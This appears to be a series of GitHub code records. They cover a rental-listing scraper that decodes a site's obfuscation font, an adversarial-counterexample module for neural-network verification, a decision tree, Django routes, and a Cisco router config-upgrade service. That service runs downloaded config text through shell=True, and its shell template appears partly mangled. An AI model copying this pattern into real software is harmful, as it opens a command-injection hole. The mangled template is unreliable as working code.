bs64Str,soup1\n\n# 数据列表\ndef data_cell(soup1):\n des_ = soup1.find_all(attrs={'class': 'des'})\n price_time = soup1.find_all(attrs={'class': 'list-li-right'})\n return des_,price_time\n\n\n\n# 单个房间信息\ndef room_cell(i,soup1):\n des_,price_time= data_cell(soup1)\n lebgth = len(des_)\n re_ =re.compile(r'\\n (.*?) \\n') \n title = re_.findall(des_[i].h2.text)[0].replace(\" \",\"\")\n \n space = des_[i].p.text.replace(\" \",\"\")\n \n p1 = des_[i].find_all(\"a\")[1].text \n p2 = des_[i].find_all(\"a\")[2].text \n place = p1 + \"-\" + p2\n \n try:\n source1 = des_[i].find_all(attrs={'class': 'jjr'})[0]\n re1_ =re.compile(r'[\\u4e00-\\u9fa5]+')\n source = re1_.findall(str(source1).replace(\" \",\"\"))\n except:\n source = 'None'\n finally:\n pass\n try:\n T = price_time[i].find_all(attrs={'class': 'send-time'})[0].text\n if T == \"\\n\":\n T = \"None\"\n else:\n T = T.replace(\"\\n\",\"\").replace(\" \",\"\") \n except:\n T = \"None\"\n finally:\n pass\n \n price =price_time[i].find_all(attrs={'class': 'strongbox'})[0].text\n \n return [title,space,place,source,T,price,lebgth] \n\n# 来源\ndef source_(source):\n source_ = \"\"\n for i in source:\n source_ += i+\"—\"\n return source_\n\n\n\n# 字体加密解密问题处理\ndef Font_decode(getText):\n #获取加密字体文件\n #bs64Str = re.findall(\"charset=utf-8;base64,(.*?)'\\)\", response.text)[0]\n #解码字体文件\n binData = base64.decodebytes(bs64Str.encode())\n #设置中转路径\n filePath01 = r'C:\\Users\\ZGL\\Desktop\\jiemi_20190402_03.otf'\n #中转路径 写入otf字体文件\n with open(filePath01, 'wb') as f:\n f.write(binData)\n f.close()\n # 解析字体库\n font01 = TTFont(filePath01)\n # 解密还原真实字符\n uniList = font01['cmap'].tables[0].ttFont.getGlyphOrder()\n utfList = font01['cmap'].tables[0].ttFont.tables['cmap'].tables[0].cmap\n\n retList = []\n for i in getText:\n if ord(i) in utfList:\n text = int(utfList[ord(i)][-2:]) - 1\n else:\n text = i\n retList.append(text)\n crackText = ''.join([str(i) for i in retList])\n return crackText \n\n\n\n#单个房间数据解密\ndef Room_cell_(i):\n cell = room_cell(i,soup1)\n cell[3] = source_(cell[3])\n cell[0] = Font_decode(cell[0])\n cell[1] = Font_decode(cell[1])\n cell[5] = Font_decode(cell[5])\n return cell\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "lda188/my-data", "sub_path": "wbpage.py", "file_name": "wbpage.py", "file_ext": "py", "file_size_in_byte": 3459, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.DataFrame", "line_number": 22, "usage_type": "call"}, {"api_name": "requests.adapters", "line_number": 29, "usage_type": "attribute"}, {"api_name": "requests.session", "line_number": 30, "usage_type": "call"}, {"api_name": "fake_useragent.UserAgent", "line_number": 33, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 34, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 35, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 54, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 65, "usage_type": "call"}, {"api_name": "base64.decodebytes", "line_number": 100, "usage_type": "call"}, {"api_name": "fontTools.ttLib.TTFont", "line_number": 108, "usage_type": "call"}]} {"seq_id": "30465962669", "text": "import torch\nimport torch.optim as optim\nfrom typing import Callable, Optional\nclass PreAttack:\n def __init__(self, config,prob):\n self.config = config\n self.idx = 0\n self.prob = prob\n\n def grad_descent_loss(self, y: torch.Tensor) -> torch.Tensor:\n\n \"\"\"\n Returns the loss for gradient descent.\n\n Args:\n y:\n The neural network output\n Returns:\n The loss function\n \"\"\"\n\n constr_eq = self.prob.spec.output_formula.clauses[self.idx]\n op1 = constr_eq.op1.i\n op2= constr_eq.op2.i\n loss = torch.zeros(1).to(device=self.config.DEVICE)\n loss += torch.clamp((-1 * y[op1] + y[op2]), 0, 1e8)\n return loss\n\n\n def pre_process_attack(self,init_adv: torch.tensor=None, device=torch.device('cpu')):\n\n \"\"\"\n Performs a simple adversarial attack in an attempt to find a counter example.\n\n Note that this method should never be called within the main verification\n loop in verify(), it is meant for external use only.\n \"\"\"\n\n counter_example = None\n for idx in range(len(self.prob.spec.output_formula.clauses)-1,-1,-1 ):\n self.idx = idx\n mid_point = self.generate_mid_adv(self.prob.spec.input_node.bounds)\n loss_func = self.grad_descent_loss\n\n counter_example = self._grad_descent_counter_example(potential_cex=mid_point,\n loss_func=loss_func,\n do_grad_descent=True)\n\n if counter_example is not None:\n torch.cuda.empty_cache()\n return counter_example\n torch.cuda.empty_cache()\n\n return counter_example\n\n\n def _grad_descent_counter_example(self, potential_cex, loss_func: Callable,\n do_grad_descent: bool = True):\n\n \"\"\"\n Runs gradient descent updating the input to find true counter examples.\n\n Args:\n potential_cex:\n The counter example candidate.\n loss_func:\n The loss function used for gradient descent.\n do_grad_descent:\n If true, gradient descent is performed to find a counter-example.\n\n Returns:\n The counter example if found, else None.\n \"\"\"\n lower = self.prob.spec.input_node.bounds.lower[0,:,0].to(device=self.config.DEVICE).clone()\n upper = self.prob.spec.input_node.bounds.upper[0,:,0].to(device=self.config.DEVICE).clone()\n x = potential_cex.to(device=self.config.DEVICE).clone()\n x = x.view(-1)\n idx1 = x < lower\n idx2 = x > upper\n x.data[idx1] = lower[idx1]\n x.data[idx2] = upper[idx2]\n x = x.view(*self.prob.spec.input_node.input_shape)\n x.requires_grad = True\n y = self.prob.nn.forward(x)\n if self.prob.spec.is_satisfied(y, y) is not True:\n return x.detach()\n\n optimizer = optim.Adam([x], lr=0.1, betas=(0.5, 0.9))\n\n old_loss = 1e10\n\n for i in range(5):\n optimizer.zero_grad()\n loss = loss_func(y)\n loss.backward()\n optimizer.step()\n x = x.view(-1)\n idx1 = x < lower\n idx2 = x > upper\n x.data[idx1] = lower[idx1]\n x.data[idx2] = upper[idx2]\n x = x.view(*self.prob.spec.input_node.input_shape)\n y = self.prob.nn.forward(x)\n if self.prob.spec.is_satisfied(y, y) is not True:\n return x.detach()\n\n if ((old_loss - loss) / old_loss) < 0.01:\n return None\n\n old_loss = loss\n\n return None\n\n\n\n def generate_mid_adv(self, bounds):\n adv = (bounds.lower.clone().to(device=self.config.DEVICE) + bounds.upper.clone().to(self.config.DEVICE))/2.0\n return adv.float()\n\n \n\n def generate_random_adv(self, bounds):\n adv = torch.zeros_like(bounds.lower)\n idxs = bounds.lower < bounds.upper\n distribution = torch.distributions.uniform.Uniform(\n bounds.lower[idxs], bounds.upper[idxs]\n )\n partial_adv = distribution.sample(torch.Size([1]))\n partial_adv = torch.squeeze(partial_adv, 0)\n\n adv[idxs] = partial_adv\n\n return adv\n\n def fast_gradient_signed(\n self,\n prob,\n x,\n eps,\n device=torch.device('cpu')\n ):\n \"\"\"\n Fast Gradient Signed Method.\n\n Arguments: \n prob:\n Verification Problem.\n x:\n Input tensor.\n eps:\n Epsilon.\n targeted:\n Whether or not the attack is targeted.\n Returns: \n A tensor for the adversarial example.\n \"\"\"\n x = x.clone().detach().to(self.config.PRECISION).requires_grad_(True)\n\n true_label = prob.spec.is_adversarial_robustness()\n\n if true_label == -1:\n output = prob.nn.forward(x).flatten()\n loss = prob.spec.get_mse_loss(output)\n\n else:\n output_flag = prob.spec.get_output_flag(prob.nn.tail.output_shape)\n output = prob.nn.forward(x)[output_flag].flatten()[None, :]\n true_label = torch.sum(output_flag.flatten()[0: true_label])\n y = torch.tensor([true_label], device=device)\n loss_fn = torch.nn.CrossEntropyLoss()\n loss = loss_fn(output, y)\n\n # Compute gradient\n # loss = -loss\n loss.backward()\n\n # compute perturbation\n perturbation = eps * torch.sign(x.grad)\n\n if torch.all(perturbation == 0):\n adv = self.generate_random_adv(prob.spec.input_node.bounds)\n\n else:\n adv = torch.clamp(\n x + perturbation,\n prob.spec.input_node.bounds.lower,\n prob.spec.input_node.bounds.upper\n )\n\n\n return adv\n", "repo_name": "dongysxd/NIAVerify", "sub_path": "NIAVERIFY/niaverify/verification/preattack.py", "file_name": "preattack.py", "file_ext": "py", "file_size_in_byte": 6017, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.Tensor", "line_number": 10, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.cuda.empty_cache", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.cuda.empty_cache", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 52, "usage_type": "attribute"}, {"api_name": "typing.Callable", "line_number": 57, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 88, "usage_type": "name"}, {"api_name": "torch.zeros_like", "line_number": 123, "usage_type": "call"}, {"api_name": "torch.distributions.uniform.Uniform", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.distributions", "line_number": 125, "usage_type": "attribute"}, {"api_name": "torch.Size", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 168, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 170, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 170, "usage_type": "attribute"}, {"api_name": "torch.sign", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.all", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 184, "usage_type": "call"}]} {"seq_id": "71726657505", "text": "\"\"\" Decision Tree Classifier\"\"\"\nfrom typing import Tuple, Union\nimport pandas as pd\nimport numpy as np\nfrom math import log2\nfrom dataclasses import dataclass\nfrom warnings import warn\n\n@dataclass\nclass threshold_result:\n index:int\n measure:float\n\ndef entropy(labels):\n \"\"\" Computes entropy of label distribution. \"\"\"\n p = labels.sum()/len(labels)\n if 0 < p < 1:\n return -p * log2(p) - (1 - p) * log2(1 - p)\n else:\n return 0 # Compute entropy\n\n\ndef findtreshold(y_sorted:np.ndarray,criterion:str) -> threshold_result:\n if criterion == 'entropy':\n min_entropy = 1\n threshold_index = 1\n label_size=len(y_sorted)\n for i in range(1,label_size):\n ent = ((i) * entropy(y_sorted[:i]) +\n (label_size-i) * entropy(y_sorted[i:]))/label_size\n if ent < min_entropy:\n min_entropy = ent\n threshold_index = i\n\n return threshold_result(threshold_index, min_entropy)\n\n\nclass Node:\n \"\"\"\n Class for each node of the Decision Tree\n \"\"\"\n\n def __init__(self,\n X:np.ndarray,\n y:np.ndarray,\n *,criterion = \"entropy\"):\n self.X = X\n self.y = y\n self.criterion = criterion\n self.processed = False\n\n def __str__(self) -> str:\n if self.processed:\n return f\"\"\"Node object Processed: \n - current {self.criterion} : {self.entropy}\n - best column for spliting: {self.best_col}\n - threshold : {self.threshold}\n - {self.criterion} after the split : {self.measure}\n - size : {len(self.y)}\n \"\"\"\n else:\n return \"Unprocessed Node\"\n\n def find_the_best_feature(self):\n \"\"\"will find the best feature and its threshold for possible spliting \"\"\"\n min_measure = 1.0\n best_col = None\n threshold = None\n if self.criterion == \"entropy\":\n self.entropy = entropy(self.y)\n if self.entropy == 0:\n min_measure = 0\n else:\n for i,col in enumerate(self.X.T):\n sorted_ind = np.argsort(col)\n y_sorted = self.y[sorted_ind]\n result= findtreshold(y_sorted,self.criterion)\n if result.measure < min_measure:\n min_measure = result.measure\n best_col = i\n threshold = (col[sorted_ind][result.index-1] +\n col[sorted_ind][result.index]) / 2\n self.best_col = best_col\n self.threshold = threshold\n self.measure = min_measure\n self.processed = True\n \n def split(self):\n \"\"\"split the node based on its best column\"\"\"\n if not self.processed:\n self.find_the_best_feature()\n if self.entropy == 0:\n warn(\"the node is pure no need to split\")\n self.nodes= [self]\n else:\n ind_right = self.X[:,self.best_col] >= self.threshold\n X_right = self.X[ind_right]\n X_left = self.X[np.logical_not(ind_right)]\n y_right = self.y[ind_right]\n y_left = self.y[np.logical_not(ind_right)]\n self.nodes=[Node(X_right, y_right, criterion=self.criterion),\n Node(X_left, y_left, criterion=self.criterion)]\n\nclass DecisionTreeCLF:\n \"\"\"\n A decision tree classifier.\n \"\"\"\n \n def __init__(self,*,\n criterion:str=\"entropy\",\n max_depth:int=None,\n min_sample_split:int=2):\n \"\"\" \n Constructor: \n\n Parameters:\n -----------\n criterion: {\"gini\",\"entropy\"}, default=\"entropy\"\n The function to measure the quality of a split.\n \"gini\" for Gini impurity and \"entropy\" for information gain.\n\n max_depth : int, default=None,\n The maximum depth of the tree. If None, the nodes are expanded until\n all leaves are pure of until all leaves contain less than\n min_sample_split split samples.\n\n min_sample_split: int, default=2\n The minimum number of samples required to split an internal node\n \"\"\"\n self.criterion = criterion\n self.max_depth = max_depth\n self.min_sample_split = min_sample_split\n\n def __str__(self) -> str:\n text=f\"\"\"DecisionTreeClassifier(criterion = {self.criterion},\n max_depth = {self.max_depth},\n min_sample_split = {self.min_sample_split})\n \"\"\"\n return text\n\n def fit(self,\n X:pd.DataFrame,\n y:np.ndarray):\n depth = 0\n root = Node(X.to_numpy(),y)\n N = root\n if self.max_depth:\n max_depth = self.max_depth\n else:\n max_depth = int(log2(len(y)))\n self.tree=[[root]]\n \n while (depth < max_depth):\n self.tree.append([])\n for node in self.tree[depth]:\n if len(node.y) < self.min_sample_split:\n warn(\"can not be splited as it is too small\")\n else:\n node.split()\n for inernode in node.nodes:\n self.tree[depth+1].append(inernode)\n depth += 1", "repo_name": "FarhadManiCodes/Breast_Cancer_Wisconsin_Data", "sub_path": "utils/DecisionTree.py", "file_name": "DecisionTree.py", "file_ext": "py", "file_size_in_byte": 5314, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "dataclasses.dataclass", "line_number": 9, "usage_type": "name"}, {"api_name": "math.log2", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.argsort", "line_number": 75, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.logical_not", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.logical_not", "line_number": 100, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 142, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 143, "usage_type": "attribute"}, {"api_name": "math.log2", "line_number": 150, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 157, "usage_type": "call"}]} {"seq_id": "23546018457", "text": "from django.conf.urls import include, url\nfrom django.urls import path\nfrom django.views.generic.base import RedirectView\nfrom tenant_team.views import create_view, list_view, retrieve_view, search_view, update_view\n\n\nurlpatterns = (\n # Summary\n path('staff/', list_view.TeamSummaryView.as_view(), name='workery_tenant_team_summary'),\n\n # Create\n path('staff/confirm-creation/', create_view.TeamCreateConfirmView.as_view(), name='workery_tenant_team_confirm_create'),\n path('staff/create/', create_view.TeamCreateView.as_view(), name='workery_tenant_team_create'),\n\n # List\n path('staff/list/', list_view.TeamListView.as_view(), name='workery_tenant_team_list'),\n\n # Search\n path('staff/search/', search_view.TeamSearchView.as_view(), name='workery_tenant_team_search'),\n path('staff/search/results/', search_view.TeamSearchResultView.as_view(), name='workery_tenant_team_search_results'),\n\n # Retrieve\n path('staff//detail//lite/', retrieve_view.StaffLiteRetrieveView.as_view(), name='workery_tenant_team_lite_retrieve'),\n path('staff//detail//full/', retrieve_view.StaffFullRetrieveView.as_view(), name='workery_tenant_team_full_retrieve'),\n path('staff//detail//comments/', retrieve_view.StaffRetrieveForCommentsListAndCreateView.as_view(), name='workery_tenant_team_retrieve_for_comment_list_and_create'),\n path('staff//detail//files/', retrieve_view.StaffRetrieveForFilesListView.as_view(), name='workery_tenant_team_retrieve_for_files_list'),\n \n # Update\n path('staff//detail//edit/', update_view.TeamUpdateView.as_view(), name='workery_tenant_team_update'),\n)\n", "repo_name": "over55/workery-django", "sub_path": "workery/tenant_team/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1731, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "tenant_team.views.list_view.TeamSummaryView.as_view", "line_number": 9, "usage_type": "call"}, {"api_name": "tenant_team.views.list_view.TeamSummaryView", "line_number": 9, "usage_type": "attribute"}, {"api_name": "tenant_team.views.list_view", "line_number": 9, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "tenant_team.views.create_view.TeamCreateConfirmView.as_view", "line_number": 12, "usage_type": "call"}, {"api_name": "tenant_team.views.create_view.TeamCreateConfirmView", "line_number": 12, "usage_type": "attribute"}, {"api_name": "tenant_team.views.create_view", "line_number": 12, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "tenant_team.views.create_view.TeamCreateView.as_view", "line_number": 13, "usage_type": "call"}, {"api_name": "tenant_team.views.create_view.TeamCreateView", "line_number": 13, "usage_type": "attribute"}, {"api_name": "tenant_team.views.create_view", "line_number": 13, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "tenant_team.views.list_view.TeamListView.as_view", "line_number": 16, "usage_type": "call"}, {"api_name": "tenant_team.views.list_view.TeamListView", "line_number": 16, "usage_type": "attribute"}, {"api_name": "tenant_team.views.list_view", "line_number": 16, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "tenant_team.views.search_view.TeamSearchView.as_view", "line_number": 19, "usage_type": "call"}, {"api_name": "tenant_team.views.search_view.TeamSearchView", "line_number": 19, "usage_type": "attribute"}, {"api_name": "tenant_team.views.search_view", "line_number": 19, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "tenant_team.views.search_view.TeamSearchResultView.as_view", "line_number": 20, "usage_type": "call"}, {"api_name": "tenant_team.views.search_view.TeamSearchResultView", "line_number": 20, "usage_type": "attribute"}, {"api_name": "tenant_team.views.search_view", "line_number": 20, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "tenant_team.views.retrieve_view.StaffLiteRetrieveView.as_view", "line_number": 23, "usage_type": "call"}, {"api_name": "tenant_team.views.retrieve_view.StaffLiteRetrieveView", "line_number": 23, "usage_type": "attribute"}, {"api_name": "tenant_team.views.retrieve_view", "line_number": 23, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "tenant_team.views.retrieve_view.StaffFullRetrieveView.as_view", "line_number": 24, "usage_type": "call"}, {"api_name": "tenant_team.views.retrieve_view.StaffFullRetrieveView", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tenant_team.views.retrieve_view", "line_number": 24, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "tenant_team.views.retrieve_view.StaffRetrieveForCommentsListAndCreateView.as_view", "line_number": 25, "usage_type": "call"}, {"api_name": "tenant_team.views.retrieve_view.StaffRetrieveForCommentsListAndCreateView", "line_number": 25, "usage_type": "attribute"}, {"api_name": "tenant_team.views.retrieve_view", "line_number": 25, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "tenant_team.views.retrieve_view.StaffRetrieveForFilesListView.as_view", "line_number": 26, "usage_type": "call"}, {"api_name": "tenant_team.views.retrieve_view.StaffRetrieveForFilesListView", "line_number": 26, "usage_type": "attribute"}, {"api_name": "tenant_team.views.retrieve_view", "line_number": 26, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "tenant_team.views.update_view.TeamUpdateView.as_view", "line_number": 29, "usage_type": "call"}, {"api_name": "tenant_team.views.update_view.TeamUpdateView", "line_number": 29, "usage_type": "attribute"}, {"api_name": "tenant_team.views.update_view", "line_number": 29, "usage_type": "name"}]} {"seq_id": "37415375855", "text": "import re\nimport codecs\nimport hashlib\nimport os\nimport urllib2\nimport subprocess\nimport xml.etree.ElementTree as ET\n\nfrom pnp.infra.network.security import load_csdl_ssl_context\nfrom pnp.infra.utils.pnp_utils import compose_url, read_pnp_config\nfrom pnp.service.api.pnp_service import PnPService, ServiceAction\nfrom pnp.infra.utils.pnp_utils import load_platform_info\n\nfrom pnp_platform.utils.utilities import reboot_action\n\nclass ConfigUpgradeError(Exception):\n \"\"\"Config Upgrade Error (inherits from Exception)\"\"\"\n pass\n\n\nclass ConfigUpgrade(PnPService):\n \"\"\"Config Upgrade implementation\n \"\"\"\n\n _download_path = '/tmp/pnp_config_upgrade'\n _pid = None\n\n def run(self):\n \"\"\"Populates the Config-Upgrade Work-Response\"\"\"\n try:\n self._pid = load_platform_info().get('pid')\n self._download_config()\n # Compare downloaded file against 'checksum' element (if specified)\n self._validate_checksum()\n # Apply config based off value in 'applyTo' element and handle\n # syntax fault\n self._apply_config()\n # Enable ServiceAction for reloading if requested\n self._check_reload()\n # Service ran successfully\n self.success = 1\n except ConfigUpgradeError:\n self.logger.exception(\"Config Upgrade failure\")\n self.success = 0\n\n def _download_config(self):\n \"\"\"Download the config file to a temporary location\"\"\"\n # Form download url based off 'location' or 'uri' element\n ssl_context = None\n if 'location' in self.request['config']['copy']['source']:\n src = self.request['config']['copy']['source']['location']\n # Generate SSL Context with broader trust scope for location source\n if 'https' in src:\n profile = read_pnp_config()\n kwargs = {'cafile_': profile.get('cafile')}\n #'core_trustpool': profile.get('core_trustpool'),\n #'full_trust_store': True}\n ssl_context = load_csdl_ssl_context(**kwargs)\n else:\n profile = read_pnp_config()\n transport = profile['transport']\n address = profile['address']\n port = profile['port']\n # Generate SSL Context with limited trust scope for URI source\n if transport == 'https':\n kwargs = {'cafile_': profile.get('cafile')}\n #'core_trustpool': profile.get('core_trustpool'),\n #'full_trust_store': False}\n ssl_context = load_csdl_ssl_context(**kwargs)\n uri = self.request['config']['copy']['source']['uri']\n url = compose_url(transport, address, port)\n src = '%s%s' % (url, uri)\n # Download config\n self.logger.debug(\"Downloading config file from: %s\", src)\n req = urllib2.Request(url=src.encode('utf-8'))\n req.add_header('Content-Type', 'text/xml')\n req.add_header('Accept-Charset', 'utf-8')\n try:\n config = urllib2.urlopen(req, context=ssl_context, timeout=30)\n except Exception as err:\n self.set_error_info(code='INVALID_SRC_CONFIG_FILE',\n msg=\"Failed to download config\")\n raise ConfigUpgradeError(err)\n try:\n with codecs.open(self._download_path, 'w', 'utf-8') as fout:\n string_out = config.read()\n fout.write(string_out.encode('ascii', 'ignore'))\n except Exception as err:\n err_msg = \"Failed to write downloaded config to the filesystem\"\n self.set_error_info(msg=err_msg)\n raise ConfigUpgradeError(err)\n\n def _validate_checksum(self):\n \"\"\"Raises ConfigUpgradeError upon checksum mismatch\"\"\"\n if 'checksum' not in self.request['config']['copy']['source']:\n return\n expected_checksum = self.request['config']['copy']['source']['checksum']\n with open(self._download_path, 'rb') as config_file:\n actual_checksum = hashlib.md5(config_file.read()).hexdigest()\n if actual_checksum != expected_checksum:\n self.set_error_info(msg=\"Checksum mismatch!\")\n raise ConfigUpgradeError(\"Bad Checksum: %s\" % actual_checksum)\n\n def _apply_config(self):\n \"\"\"Applies config to system\"\"\"\n apply_to = self.request['config']['copy'].get('applyTo', 'startup')\n abort_on_fault = 'abortOnSyntaxFault' in self.request['config']['copy']\n # reference platform doesn't support configurations, will perform no-op\n try:\n self._system_apply_config(self._download_path, apply_to, abort_on_fault)\n except Exception as err:\n self.set_error_info(msg=\"Failed to apply config\")\n raise ConfigUpgradeError(err)\n\n def _check_reload(self):\n if 'reload' in self.request:\n if 'reason' in self.request['reload']:\n self.logger.info(\"Reloading device: %s\",\n self.request['reload']['reason'])\n delay_in = self.request['reload'].get('delayIn', 'now')\n if not re.match(r'^[0-9]+$|^now$', delay_in):\n self.set_error_info(severity='ERROR', code='RELOAD_INPUT_ERROR',\n msg='PnP - Error reload delayIn')\n raise ConfigUpgradeError(\"Bad reload delayIn\")\n reload_args = [self._pid, delay_in]\n self.action = ServiceAction(_reload_platform, 'reload', *reload_args)\n\n def _system_apply_config(self, config, dest, abort_on_fault): # pylint: disable=unused-argument\n \"\"\"Simulates applying config\"\"\"\n self.logger.info(\"Applying downloaded config (%s) to %s config\", config, dest)\n if abort_on_fault:\n self.logger.info(\"Will abort config application on syntax fault\")\n cli = _rv340_config_upgrade_cli(config, dest)\n\n self.logger.info(\"Will do config upgrade. cli: \" + cli)\n proc = subprocess.Popen(cli, shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n stdin=subprocess.PIPE)\n stdout, _ = proc.communicate()\n retcode = proc.poll()\n self.logger.info(\"stdout is: \" + stdout)\n self.logger.debug(\"retcode is: \" + str(retcode))\n if retcode or re.search('error', stdout, flags=re.IGNORECASE):\n self.set_error_info(severity='ERROR', code='APPLY_CFG_REQ_ERROR',\n msg='PnP - Error apply config')\n raise ConfigUpgradeError('apply config')\n\n\ndef _rv340_config_upgrade_cli(config, dest):\n \"\"\"rv340 config upgrade\"\"\"\n if dest == 'startup':\n strategy = 'replace'\n copy_to_startup = 'config_mgmt.sh copy config-running config-startup'\n else:\n strategy = 'merge'\n copy_to_startup = ''\n if not is_xml(config):\n file1 = open(config, 'r')\n buf = file1.read()\n file1.close()\n template =\\\n'''output=$(cat < /dev/null\nif [ $? = 0 ]; then\n echo 'commit aborted.'; exit 1;\nfi\n\n%(copy_to_startup)s; exit 0;\n\n'''\n return template%{'data':buf,\n 'copy_to_startup':copy_to_startup}\n else:\n template =\\\n'''output=$(cat < /dev/null\nif [ $? = 0 ]; then\n echo 'commit aborted.'; exit 1;\nfi\n\n%(copy_to_startup)s; exit 0;\n\n'''\n return template%{'strategy':strategy,\n 'filename':config,\n 'copy_to_startup':copy_to_startup}\n\n\ndef is_xml(filename):\n \"\"\"XML syntax check\"\"\"\n try:\n ET.parse(filename)\n except ET.ParseError:\n print(\"XML ParseError\")\n return False\n return True\n\n\ndef _reload_platform(*args):\n \"\"\"Issues reboot command\"\"\"\n reboot_action(*args)\n", "repo_name": "lanleft/simulate-cisco-RV34X", "sub_path": "ubifs_26/usr/lib/python2.7/site-packages/pnp_platform/services/config_upgrade.py", "file_name": "config_upgrade.py", "file_ext": "py", "file_size_in_byte": 8381, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pnp.service.api.pnp_service.PnPService", "line_number": 21, "usage_type": "name"}, {"api_name": "pnp.infra.utils.pnp_utils.load_platform_info", "line_number": 31, "usage_type": "call"}, {"api_name": "pnp.infra.utils.pnp_utils.read_pnp_config", "line_number": 54, "usage_type": "call"}, {"api_name": "pnp.infra.network.security.load_csdl_ssl_context", "line_number": 58, "usage_type": "call"}, {"api_name": "pnp.infra.utils.pnp_utils.read_pnp_config", "line_number": 60, "usage_type": "call"}, {"api_name": "pnp.infra.network.security.load_csdl_ssl_context", "line_number": 69, "usage_type": "call"}, {"api_name": "pnp.infra.utils.pnp_utils.compose_url", "line_number": 71, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 75, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 79, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 85, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 99, "usage_type": "call"}, {"api_name": "re.match", "line_number": 121, "usage_type": "call"}, {"api_name": "pnp.service.api.pnp_service.ServiceAction", "line_number": 126, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 136, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 137, "usage_type": "attribute"}, {"api_name": "subprocess.STDOUT", "line_number": 138, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 139, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 144, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 144, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 220, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 220, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.ParseError", "line_number": 221, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 221, "usage_type": "name"}, {"api_name": "pnp_platform.utils.utilities.reboot_action", "line_number": 229, "usage_type": "call"}]} {"seq_id": "2880034182", "text": "import numpy as np\r\nimport pandas as pd\r\nimport time\r\nimport itertools\r\nimport functools\r\n\r\ndef run48(Vert):\r\n '''\r\n :param Vert:\r\n :return:\r\n '''\r\n print('PyCharm start')\r\n\r\n #global functions\r\n\r\n ##functions\r\n def conver_face1(i, dicti_vert):\r\n face = [k for k, v in dicti_vert.items() if i in v]\r\n face = ''.join(face)\r\n return face\r\n\r\n def conver_face2(i):\r\n my_dict = dicti_vert\r\n my_color = i\r\n my_face = [k for k, v in my_dict.items() if my_color in v]\r\n face = ''.join(my_face)\r\n return 